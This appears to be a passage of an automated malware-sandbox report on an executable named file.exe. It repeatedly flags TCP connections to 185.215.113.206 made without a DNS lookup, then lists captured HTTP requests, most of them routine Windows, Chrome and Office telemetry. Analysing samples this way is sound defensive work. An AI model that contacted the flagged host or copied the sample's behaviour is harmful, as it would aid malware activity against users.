Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C61CC60 PR_Recv,

0_2_6C61CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=haaDPKgATB8gebU&MD=7xOUr2Mf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=haaDPKgATB8gebU&MD=7xOUr2Mf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
